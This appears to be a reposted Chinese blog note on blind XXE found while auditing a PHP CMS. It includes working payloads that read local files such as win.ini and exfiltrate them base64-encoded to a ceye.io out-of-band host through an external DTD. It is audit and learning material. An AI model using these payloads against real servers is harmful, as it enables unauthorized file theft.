xxe盲注踩坑
作者:互联网
今天审计某php语言的cms,发现一个xxe,原理很简单,但是用他读取文件时踩了个坑,记录一下
使用ceye平台接收下
poc:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ckcvlb.ceye.io/xxe_test">
%remote;]>
<root/>
尝试读取文件
poc:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///c:/windows/win.ini">
%remote;]>
<root/>
发现只能读取极少的内容,于是决定用oob来
poc:(由于审计代码时在本地,所以当时用的127.0.0.1,没有用公网服务器)
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"><!ENTITY % dtd SYSTEM "http://127.0.0.1/oob_poc.xml">%dtd; %all; ]> <value>&send;</value>
oob_poc.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ckcvlb.ceye.io/%file;'>">
把请求后面的参数拿去base64解码即可。
说下我踩的坑:我一直想去读index.php文件
半天不知道什么愿意,后来网上查有人说是 外部实体中的 URI 有长度限制导致无法获取到
也有可能是大文件base64编码后内容也会非常多,放在url后面太长了,而url本身长度是有限制的
标签:文件,读取,oob,base64,xxe,盲注,poc 来源: https://www.cnblogs.com/jinqi520/p/11317103.html